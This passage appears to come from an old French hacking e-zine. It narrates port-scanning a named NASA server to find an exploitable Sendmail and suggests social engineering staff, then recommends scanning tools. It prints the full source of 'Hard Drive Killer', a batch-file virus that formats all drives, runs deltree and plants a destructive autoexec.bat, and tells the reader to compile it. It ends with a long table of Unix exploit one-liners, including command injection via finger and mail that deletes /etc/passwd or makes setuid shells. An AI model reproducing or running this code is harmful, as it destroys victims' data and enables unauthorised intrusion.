We are unable to complete your connection as requested. This host only accepts connections from within the United States. This connection attempt has been logged. If you feel you have received this message in error please contact NAS user Services at (415) 604-4444 or via email at nashelp@nas.nasa.gov

ce message d'erreur laisse supposé qu'une protection efficace n'est jamais mise en place pour rien. Je pense qu'il s'agit d'un serveur secondaire de la NASA. Bon, on a ça, mais on va pas lacher les bras: en effet on a été refusé lors d'une connection par telnet. Essayons un scanning de l'adresse pour voir si on a pas mieux, Sinon, on scann un petit bout du réseau, et on regarde si il existe d'autres serveurs de la NASA. Il faut aussi signaler qu'il se peut que la connection ait été loggé mais:

Ce sont là les cas les plus vraisemblables.
Bon voyons ce que donne notre scann:
Adresse IP: 129.99.144.27
Heure enregistrée sur le serveur: -328 secondes (à peu près, ça dépend de l'heure mise sur votre pc) de décalage par rapport à l'heure française
Ping: 300 ms en moyenne de délai de réponse. Connection rapide mais pas une ligne T3.
finger: pas de réponse (donc pas de service finger)
Scann d'un bout du réseau: de 129.99.144.25 à 129.99.144.30 pour les services usuels donne:
129.099.144.027 DNS ECHO FTP SMTP TIME vn.nas.nasa.gov
129.099.144.030 TIME jules-fd.nas.nasa.gov
Donc on sait que le serveur que l'on cherche à pirater autorise les connections, FTP, SMTP (mail), TIME, ECHO, DNS.
Le deuxième correspond à un deuxième serveur, qui n'a pas l'air important.
En esseyant une connection par chacun de ces protocoles, on a à chaque fois une déconnection, avec ou sans messages d'erreurs. Sauf pour mail, puisque apparament ils veulent que tout le monde puisse utiliser leur serveur mails (américains ou non).
Ainsi on a des informations sur le serveur mail, comme la version de ce qui le gère: Sendmail 8.9.3
On va essayer de parcourir des sites pour voir s'il n'existe pas une faille d'exploitation:
Il existe en effet des failles pour sendmail. héhé, mais la version de sendmail de ce serveur de la NASA est plus récent que ceux des autres versions. Cependant on peut essayer chacune des failles, en espérant qu'ainsi, certaines erreurs ne sont pas corrigées. mais on s'aperçoit qu'il faut être sur la machine serveur pour commencer à tester. Ben zut alors c'est râpé sur ce coup là. On pourrait approfondir les recheches en regardant ce que fournit ce serveur FTP, mais on est déconnecté même par le navigateur. Laissons donc faire les américains qui auront proablement à faire à des demandes de logins et de mots de passes ou bien essayons le Social Engeenering, avec le N° de tel que la NASA aura bien voulu nous fournir. Occupons-nous de perdu.com (ma victime préférée, le petit frère à hacker.com).

Conclusion: ayez des couilles.
 
 

VI/ Scanners




   Un scanner est un outil dangereux pour la sécurité d'un réseau. Le rôle d'un scanner est d'analyser chaque point d'un réseau, et d'en donner les points faibles. Ils existent d'autres types de scanners qui se contentent d'analyser les réseaux, mais en plus permettent à l'utilisateur du scanner d'essayer d'en trouver les "failles": des commandes comme finger, sysinfo (qui permet de se renseigner sur la cible à l'autre bout)... peuvent être implémentées dans un scanner. Le plus simple, le plus rapide et bien fait de scanners que je connaissent reste WS PING PRO PACK sur http://www.ipswitch.com.
   Les scanners vont s'occuper (en général) de savoir:

Parmis les scanners les plus connus (qui tournent sous UNIX en général), il y a SATAN, qui ne fonctionne que lorsque l'on est root. Ci joint une description de NESSUS, qui est un scanner bien particulier (fonctionne sous Linux): Nessus, est intéressant car il permet, en scannat un serveur, de savoir quel en sont les points faibles (les ports qui présentent des points faibles), et de décrire ces points faibles (qu'est-ce qui peut se passer si quelqu'un fait ci ou ça sur le port 21, ce qui peut être intéressant pour un pirate. Et la solution à ce problème). Nessus sera bientôt développé pour WindowsNT dans les mois à venir (année 2000).
http://www.nessus.org
Il en existe d'autres (NSS, Strobe, SATAN...) Attendez: arrêtons nous-sur SATAN. Satan a été conçu uniquement pour UNIX, mais il était la référence en la matière de scanners. il décrivait EN DETAIL, chaque point faible d'un serveur. Satan peut fonctionner (mal, très mal) sous Linux. Cependant pour éxécuter correctment SATAN, rendez vous aux adresses ci-dessous:
http://recycle.jlab.org/~doolitt/satan/tcp_scan.diff.2
http://recycle.jlab.org/~doolitt/satan/BSD-4.4-includes.tar.gz
téléchargez SATAN à http://www.trouble.org/~zen/satan/satan.html
   Les utilisateurs de Windows 9x ne seront pas en reste grâce à "Network Toolbox": c'est un scanner de ports TCP/IP. Il scanne un serveur en vous indiquant chaque service disponible sur celui-ci (FTP, SMTP, finger, pop3, portmap etc...).
Il inclut aussi les fonctions d'un port scanner; il n'indique pas les failles que peut offrir chaque service, mais le fait d'afficher ces services constitue un atout intéressant (exemple de finger).
 
 

VII/ Virus en .bat

   J'avais déjà fait un p'tit article sur comment programmer des fichiers en .bat et comment les rendre dangereux. J'ai trouvé un virus en .bat, détecté par Norton Anti-virus 2000 et AVP (AntiViral Toolkit Pro de Eugène Kaspersky). Donc c'est pas d'la merde.
Voici le code source à compiler avec bloc-notes (le plus simple, mais n'importe quel éditeur texte peut vous le faire).

@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S  >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo     Q). What's the worst thing about being an egg?
echo  A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
 
 

VIII/ Failles de sécurité


Commande: inetd
System affecté: Linux

   On peut crasher un serveur Linux qui accepte les connections TCP sous inetd, par flooding de requêtes vers celui-ci. une cinquantaine de requêtes font que le serveur va refuser les connections inetd, parce que le serveur aura crashé. Ca marche pour tous les services sous inetd, donc ftpd, identd...



Voici une liste de vieux bugs. je ne sais plus ou j'ai trouvée cette liste, en tout cas ce n'est pas moi qui l'ai dressée, ni le gars qui l'a mise à disposition:

Operating System RVP   Date   Description (References)
================ === ======== ================================================
/bin/sh              1-- 12/12/94 IFS hole, vi ()
/bin/su              1--          overwrite stack somehow? ()
/dev/fb             1--          frame buffer devices readable/writeable, ()
/dev/kmem       1--          /dev/kmem shold not be o+w ()
/dev/mem         1--          /dev/mem shold not be o+w ()
/dev/*st*, *mt*  1--          generally world readable/writeable ()
/etc                  1--          rexd + MACH ? [NeXT] /etc/ g+w daemon ()
4.3 Tahoe        1--          chfn -- allows newlines/meta chars/bufsize ()
4.3 Tahoe        1--          ttyA&B;A:cat&lt;ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got pw ()
AIX ?              5++          setenv SHELL=/bin/sh; crontab -e; :!/bin/sh ()
AIX 2.2.1        1--          shadow password file o+w ()
AIX 3.1.5        5--          sendmail- mail to programs ()
AIX 3.2           5--          sendmail- mail to programs ()
AIX 3.2.4        5--          sendmail- mail to programs ()
AIX 3.2.5        5--          sendmail- mail to programs ()
AIX 3.X.X       ???          rlogin localhost -l -froot
AIX ?              1--          * password means use root's password? ()
AIX ?              1--          rexd- any can get root access if enabled ()
Amdahl UTS 2.0     1--          NFS mountd only uses hostname ()
AT&T SVR3.2.0    1--          Bad protected mode allows root if have sh + cc ()
A/UX 2.0.1       5--          lpr -s; 1000 calls lpr re-use fname ()
A/UX 2.0.1       5--          rdist(1) uses popen(3), IFS spoof ()
A/UX 2.0.1       5--          rdist(1) uses popen(3), IFS spoof ()
BellTech SYSV386 1--          ulimit 0; passwd  ==> zero's out passwd file ()
BSD 4.1          1--          Sendmail can mail directly to a file
BSD 4.1          1--          can mail directly to a file
BSD 4.1          1--          run set gid program, dump core, is set gid
BSD 4.1          1--          lock- compiled password "hasta la vista", + ^Z ()
BSD &lt;4.2?        1--          IFS w. preserve bug in vi ()
BSD 4.1          1--          mail directly to a file ()
BSD 4.1          1--          exec sgid program, dump core, core is sgid ()
BSD 4.1          1--          Sendmail: can mail directly to a file ()
BSD 4.1          1--          lock password "hasta la vista" backdoor ()
BSD &lt;4.2         1--          IFS w/ preserve bug w/vi ()
BSD &lt;4.2         1--          suspend mkdir, ln file you want to dir ()
BSD &lt;4.2?       1--          suspend mkdir, ln file you want to dir ()
BSD 4.2          1--          lock -- compiled in password "hasta la vista" ()
BSD 4.2          1--          ln passwd file to mail spool, mail to file ()
BSD 4.2          1--          can truncate read only files ()
BSD 4.2          1--          finger "string|/bin/rm -f /etc/passwd"@foo.bar ()
BSD 4.2          1--          ln -s target ~/.plan; finger user to read file ()
BSD 4.2          1--          lpr file; rm file; ln -s /any/filename file ()
BSD 4.2          1--          adb su; change check in memory; shell out ()
BSD 4.2          1--          race condition, can get root via "at" ()
BSD 4.2          1--          lock -- compiled in password "hasta la vista"
BSD 4.2          1--          ln passwd file to mail spool, mail user ()
BSD 4.2          1--          can truncate read only files ()
BSD 4.2          1--          finger "string|/bin/rm -f /etc/passwd"@foo.bar ()
BSD 4.2          1--          ln -s target ~/.plan; finger user. ()
BSD 4.2          1--          lpr file; rm file; ln -s /any/filename file ()
BSD 4.2          1--          adb su; change check in memory; shell out; su ()
BSD 4.2          1--          race condition, can get root via "at" ()
BSD 4.2          1--          /dev/kmem and /dev/mem  should not be o+w ()
BSD 4.2          1--          signal any process by changing process group ()
BSD 4.3          1--          ftp -n; quote user ftp; ect.  Gets root privs. ()
BSD 4.3          1--          lpd can overwrite file ()
BSD 4.3          1--          ln -s /any/suid/file -i ; -i Get suid shell. ()
BSD 4.3          1--          fchown (2) can chown _any_ file ()
BSD 4.3          1--          race condition, get root via "at" ()
BSD 4.3          1--          passwd chokes on long lines, splits pw file ()
BSD 4.3          1--          ftp -n; quote user ftp; cd ~root, get root ()
BSD 4.3          1--          lpd can overwrite file ()
BSD 4.3          1--          ln -s /any/suid/file -i ; -i Get suid shell ()
BSD 4.3          1--          fchown (2) can chown _any_ file ()
BSD 4.3          1--          race condition (expreserve?), root via "at" ()
BSD 4.3          1--          passwd chokes on long lines, splits pw file ()
BSD 4.3          5--          lpr -s; 1000 calls lpr re-use fname ()
BSD NET/2        5--          rdist(1) uses popen(3), IFS spoof ()
BSD NET/2        5--          lpr -s; 1000 calls lpr re-use fname ()
BSD ?            1--          Overwrite gets buffer -- fingerd, etc
BSD ?            1--          uudecode alias can overwrite root/daemon files ()
BSD ?            1--          /bin/mail ; !/bin/sh    Get uid=bin shell ()
BSD ?            1--          rwall bug ()
BSD ?            1--          adb the running kernel, shell out and get root ()
BSD ?            1--          sendmail can mail non-root file, try twice ()
BSD ?            1--          rshd -- spoof via nameservice, rsh target -l uid
BSD386           1--          mail"&lt;u>;cp /bin/sh /tmp;chmod 6777 /tmp/sh" ()
buffer overrun   1--          chfn ()
chfn, chsh       1--          used to create a root account ()
chmod            1--          Incorrect file or directory permissions ()
comsat           1--          running as root, utmp o+w, writes to files ()
core               1--          will system dump a setgid core image? ()
decode           1--          decode mail alias - write non-root user files ()
DellSVR3.2/1.0.6 1--          Bad prot mode allows root if have sh + cc ()
denial           1--          easy to hog processor, memory, disc, tty, etc ()
DomainO/S &lt;=10.3 1--          break root by using s/rbak; sgid/suid ()
DomainO/S &lt;=10.4 5--          sendmail mail to programs ()
DNS              1--          SOA can control bogus reverse ip, rhosts ()
Domain/OS &lt;10.3  1--          break root by using s/rbak; setgid/uid ()
DYNIX 3.0.14     1--          Sendmail -C file  ==> displays any file. ()
DYNIX 3.?          1--          can get root on NFS host via root via mountd ()
DYNIX 3.?          1--          on non-trusted host due to bug in mount daemon ()
DYNIX ?             1--          rsh &lt;host> -l "" &lt;command>   runs as root ()
DYNIX ?             1--          login: -r hostnameruser^@luser^@term^@ ()
elm              5--          ELM's autoreply can be used to get root ()
expreserve            1--          can be a huge hole  ()
ESIX Rev. D        1--          Bad protected mode allows root if sh+cc ()
file mod test          1--          test file doesnt lose the suid when modified ()
fsck                      1--          lost+found should be mode 700 ()
ftpd                      1--          static passwd struct overwrite, wuftp &lt; x.xx ()
ftpd 4.2                1--          userid not reset properly, "user root" ()
ftpd ?                   1--          core files may contain password info ()
fchown                 1--          test for bad group test ()
ftruncate               1--          can be used to change major/minor on devices ()
fingerd                  1--          .plan hard-links - read files, fingerd ()
gopher                  6--          Type=8 Name=shell Host=;/bin/sh Port= Path= ()
gnuemacs              1--          emacsclient/server allows access to files. ()
GN &lt;1.19         4+-          exec0::/path/prog?var=blah%0Ahack-coomands0%A ()
HDB              1--          nostrangers shell escape ()
HDB              1--          changing the owner of set uid/gid files ()
HDB              1--          meta escapes on the X command line ()
HDB              1--          ; breaks on the X line ()
hosts.equiv     1--          default + entry ()
hosts.equiv     1--          easy to spoof by bad SOA at remote site ()
HPUX &lt;7.0        1--          chfn -- allows newlines, etc ()
HP-UX            1--          sendmail:  mail directly to programs ()
HPUX A.09.01     1--          sendmail:  mail directly to programs ()
HPUX ?                1--          Sendmail: versions 1.2&13.1 sm, -oQ > ()
IDA 1.4.4.1          1--          :include:/some/unreadable/file in ~/.forward ()
ICMP                   4--          various icmp attacks possible ()
ICMP                   1--          ICMP redirect packets change non-static routes ()
Interactive 2.x       1--          Bad protected mode allows root if sh+cc ()
IRIX 3.3               1--          any user can read any other user's mail. ()
IRIX 3.3.1       1--          any user can read any other user's mail. ()
IRIX 3.3/3.31    1--          sendmail- any user can read other user's mail ()
IRIX 4.0.X       1--          default suid scripts ()
IRIX 4.0.X       1--          various $PATH problems ()
IRIX 4.0.X       1--          sendmail race condition hole ()
IRIX 4.0.X       1--          lpd are vulnerable too ()
IRIX ?           1--          rsh &lt;host> -l "" &lt;command>   runs as root ()
IRIX ?           1--          login: -r hostnameruser^@luser^@term^@ ()
IRIX ?           1--          login: -r hostnameruser^@luser^@term^@ ()
IRIX ?           1--          Overwrite gets buffer -- fingerd, etc ()
IRIX ?           1--          uudecode alias can overwrite root/daemon files ()
IRIX ?           1--          /bin/mail ; !/bin/sh    Get uid=bin shell ()
IRIX ?           1--          rwall bug ()
IRIX ?           1--          adb the running kernel, shell out and get root ()
IRIX ?           1--          mail to any non-root owned file, try twice ()
IRIX ?           1--          rshd- spoof via dns - rsh target -l uid ()
IRIX ?           1--          xwsh log hole? (yo)
kernel           1--          Race conditions coupled with suid programs ()
lock             1--          4.1bsd version had password "hasta la vista" ()
lost+found       1--          lost+found should be mode 700 ()
lpd              1--          overwrite files with root authority ()
lpr              1--          lpr -r access testing problem ()
lpr              5--          lpr -s; 1000 calls lpr re-use fname ()
lprm             1--          trusts utmp ()
mount            1--          "mount" should not be +x for users. ()
mqueue           1--          must not be mode 777! ()
movemail         1--          worm? ()
Microport 3.0    1--          ulimit 0; passwd  ==> zero's out passwd file ()
network          1--          BSD network security based on "reserved ports" ()
news             1--          news receivers may execute shell commands ()
network          1--          kerberos ()
network          1--          Networks are usually very insecure. ()
NFS              1--          Many systems can be compromised with NFS/RPC. ()
NFS              1--          proxy rpc can read remote nfs files ()
NFS              1--          can generate NFS file handles ()
NFS              1--          mount disk, make cd .. and no restricted directories
OSF/1 1.2        1--          write allows shell outs to gain egid term ()
OSF/1 1.3        1--          write allows shell outs to gain egid term ()
OSF/1 1.2        1--          doesn't close the fd to the term writing to ()
OSF/1 1.3        1--          doesn't close the fd to the term writing to ()
passwd           1--          fgets allows entries mangled into ::0:0::: ()
passwd           1--          fred:...:...:...:Fred ....Flintstone::/bin/sh ()
passwd           1--          IDs shouldnt contain: ;~!` M- spoof popen ()
portmap          1--          binding problems... ()
root             1--          ? (fingerd_test.sh)
rcp              1--          nobody problem ()
rexd             1--          existence ()
rexd             1--          MACH ? [NeXT] /etc/ g+w daemon ()
rdist            1--          buffer overflow ()
rdist            5--          rdist(1) uses popen(3), IFS spoof ()
RISC/os 4.51?    1--          rsh &lt;host> -l "" &lt;command>   runs as root ()
RPC              1--          Many systems can be compromised with NFS/RPC. ()
rwall            1--          running as root, utmp o+w , writes to files ()
SCO 3.2v4.2      5--          rdist(1) uses popen(3), IFS spoof ()
SCO ?            1--          rlogin to any acct to trusted host w/o pwd ()
SCO ?            1--          rlogin to any acct from trusted host w/o pwd ()
selection_svc    1--          allowed remote access to files ()
sendmail &lt;x.x    1--          -bt -C/usr/spool/mail/user - reads file ()
sendmail &lt;5.57   1--          from:&lt;"|/bin/rm /etc/passwd">  && bounce mail ()
sendmail &lt;=5.61  1--          can mail to any file not root owned, try twice ()
sendmail &lt;5.61   1--          sendmail- groups incorrectly, get group ()
sendmail >5.65   1--          can get daemon privalages via .forward. ()
sendmail ?       5++          can mail to programs (sendmal1, nmh, smail)
sendmail ?       1--          debug option ()
sendmail ?       1--          wizard mode ()
sendmail ?       1--          TURN command allows mail to be stolen ()
sendmail ?       1--          decode mail alias - write non-root user files ()
sendmail ?       1--          buffer overflow cause sendmail deamon lock up ()
sendmail ?       1--          what uid does |program run with? ()
SIGNALS          1--          signal any process by changing process group ()
Stellix 2.0?     1--          rsh &lt;host> -l "" &lt;command>   runs as root ()
Stellix 2.0      1--          rsh &lt;host> -l "" &lt;command>   runs as root ()
Stellix 2.1      1--          login: -r hostnameruser^@luser^@term^@ ()
suid             1--          will run .profile if linked to - , IFS ()
suid             1--          never call system(3) and popen(3) ()
suid             1--          May not expect filesize signals, SIGALRMs ()
suid             1--          no setuid program on a mountable disk ()
suid             1--          ro mounting of foreign disk may allow suid. ()
suid             1--          .plan links ()
suid             1--          /usr/ucb/mail ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh ()
SunOS 3.3        1--          ftpd - userid not reset properly, "user root" ()
SunOS 3.5        1--          connect w/acct;user root;ls;put /tmp/f/ tmp/b ()
SunOS &lt;4.0       1--          sunview - any user can read any remote file
SunOS &lt;4.0       1--          any user can run yp server ()
SunOS 4.0        1--          chsh -- similar to chfn ()
SunOS 386i       1--          rm logintool, hack login with adb, chmod 2750 ()
SunOS 386i/4.01? 1--          login -n root requires no password ()
SunOS 386i/4.01? 1--          login -n root (no password) ()
SunOS 4.0.1      1--          chfn buffer problems ()
SunOS 4.0.1      1--          chsh buffer problems ()
SunOS 4.0.1      1--          ypbind/ypserv, SunOS 4.0.1; need 3 machines ()
SunOS 4.0.3      1--          ypbind/ypserv, SunOS 4.0.1; need 3 machines ()
SunOS 4.0.3      1--          concurrent yppasswd sessions can trash yp map ()
SunOS 4.0.3      1--          mail to any non-root owned file, try twice ()
SunOS 4.0.3      1--          rcp buffer overflow ()
SunOS 4.0.3      1--          sendmail- mail to non-root file, try twice ()
SunOS 4.0.3      1--          ttyA&B;A:cat&lt;ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets PW ()
SunOS 4.0.3      1--          uucico can show ph num, login, passwd, on remote machine ()
SunOS 4.0.3      1--          ypserv sends maps to anyone w/ domain (ypsnarf)
SunOS 4.0.?      1--          anyone can restore a file over any other file. ()
SunOS 4.0.?      1--          chfn -- allows newlines, meta chars, bufsize problem. ()
SunOS 4.0.?      1--          rcp with uid -2; only from PC/NFS. ()
SunOS 4.0.?      1--          ln -s /any/suid/file -i ; -i ()
SunOS 4.0.?      1--          selection_svc can remotely grab files. ()
SunOS 4.1        1--          rshd: spoof via nameservice, rsh target -l uid ()
SunOS 4.1        1--          shared libs accept relative paths w/ suid ()
SunOS 4.1        1--          sendmail: groups incorrectly checked, can get any group ()
SunOS 4.1        1--          comsat can overwrite any file ()
SunOS 4.1.x      1--          comsat can overwrite any file ()
SunOS 4.1.x      1--          ptrace allows to become root ()
SunOS 4.1.x      1--          openlook: telnet 2000; executive,x3, run ps int ()
SunOS &lt;4.1.1     5--          lpr -s; 1000 calls lpr re-use fname ()
SunOS 4.1.2      5--          rdist(1) uses popen(3), IFS spoof ()
SunOS ?          1--          /usr/kvm/crash allows sh escapes group kmem ()
SunOS ?          1--          ttyA&B;A:cat&lt;ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets PW()
SunOS ?          1--          /dev/kmem and /dev/mem should not be o+w ()
SunOS ?          1--          rshd -- spoof via nameservice, rsh target -l uid
SunOS ?          1--          ftp -n; quote user ftp; ect.  Gets root privs. ()
SunOS ?          1--          symlink .plan to target file, finger user to read. ()
SunOS ?          1--          Overwrite gets buffer -- fingerd, etc.  (3.5)
SunOS ?          1--          rwall bug (&lt;= 4.01 yes). ()
SunOS ?          1--          ptrace allows to become root ()
SunOS ?          4--          icmp errors not handled correctly ()
SunOS ?          1--          adb the running kernel, shell out and get root ()
SunOS ?          1--          ftp -n; quote user ftp; ect Gets root privs ()
SunOS ?          1--          lpd can overwrite file ()
SunOS ?          1--          the window manager can be used to read any file ()
SunOS ?          1--          rexd -- any can get root access if enabled ()
SunOS ?          1--          emacsclient/server allows access to files ()
SunOS ?          1--          openlook; telnet port 2000; executive,x3, runs PS interp
SunUS ?          1--          devinfo can be used to get group kmem ()
SunOS 5.1        1--          Symlinks are broken ()
syslogd          6--          buffer overrun, allows remote access ()
syslogd          1--          syslog messages used to overwrite any file ()
system           1--          system(3) even w/ setuid(getuid()) = IFS ()
SYSV &lt;R4         1--          write to files; race condition w/ mkdir & ln ()
SYSV &lt;R4         1--          expreserve problem/race condition ()
SYSV R?          1--          IFS, other environment at "login:" prompt ()
tcp/ip           1--          sequence number prediction allows spoofing ()
tcp/ip           1--          source routing make host spoofing easier ()
tcp/ip           1--          rip allows one to capture traffic more easily ()
tcp/ip           4--          various icmp attacks possible ()
tftp             1--          puts/gets -- grab files, do chroot ()
traceroute       1--          allow one to easily dump packets onto net ()
ulimit           1--          passwd(1) leaves passwd locked if ulimit set ()
Ultrix 2.0?      1--          sendmail- 1.2&13.1 sm, -oQ > can r/w any ()
Ultrix 2.0?      1--          Sendmail -C file  ==> displays any file. ()
Ultrix 2.2?      1--          Sendmail -C file  ==> displays any file. ()
Ultrix 2.2       1--          ln passwd file to mail spool, mail to user ()
Ultrix 2.2       1--          on a non-trusted host due to bug in mountd ()
Ultrix 2.2       1--          Sendmail: -C file  ==> displays any file ()
Ultrix 2.2       1--          can get root on NFS host via root via mountd ()
Ultrix 2.2       1--          get root on host running NFS from other root ()
Ultrix 3.0       1--          lock -- compiled in password "hasta la vista" ()
Ultrix 3.0       1--          login -P progname allows run programs as root ()
Ultrix 3.0       1--          login can run any program with root privs ()
Ultrix 3.0       1--          ln -s target ~/.plan; finger user to access ()
Ultrix 3.0       1--          any user can mount any filesystem ()
Ultrix 3.0       1--          X11 doesn't clear pwds in mem; /dev/mem is o+w ()
Ultrix &lt;3.1      1--          limit file 0; passwd -->zero's out passwd file ()
Ultrix &lt;3.1      1--          lpd can overwrite any file (back to 2.0?) ()
Ultrix 3.1?      1--          rshd: spoof via nameservice, rsh target -l uid ()
Ultrix 3.1?      1--          allows newlines, meta chars, buffsize problem ()
Ultrix &lt;4.1      1--          overflow RISC reg buffer, get root w/ mail ()
Ultrix ?         1--          rshd -- spoof via dns, rsh target -l uid ()
Ultrix ?         1--          ypbind takes ypset from all; spoof yp DB ()
Ultrix ?         1--          yppasswd leaves yp data files world writable ()
Ultrix ?         1--          chfn -- allows newlines, meta chars, bufsize ()
Ultrix ?         1--          ftp -n; quote user ftp; ect Gets root privs ()
Ultrix ?         1--          can change host name, mount any filesystem ()
Ultrix ?         1--          uudecode alias can overwrite root/daemon files ()
Ultrix ?         4--          ICMP not handled correctly (nuke)
Ultrix ?         1--          emacsclient/server allows access to files ()
Ultrix ?         1--          lock: password "hasta la vista" backdoor ()
Ultrix ?         1--          /dev/kmem and /dev/mem should not be o+w ()
Ultrix ?         1--          can change physical ethernet address ()
UNIX             1--          / must not be go+w ()
utmp             1--          etc/utmp o+w ? ()
utmp             1--          check to see if world writeable (rwall, comsat)
utmp             1--          syslog messages can overwrite any file ()
uucp             1--          check valid UUCP akts in the /etc/ftpusers ()
uucp             1--          echo "myhost myname">x;uucp x ~uucp/.rhosts ()
uucp             1--          uucico shows ph num, login, passwd, of remote ()
uudecode         1--          if it is setuid, may create setuid files ()
uusend           1--          uusend may call "uux" while suid to root ()
uux              1--          uusend may call "uux" while suid to root ()
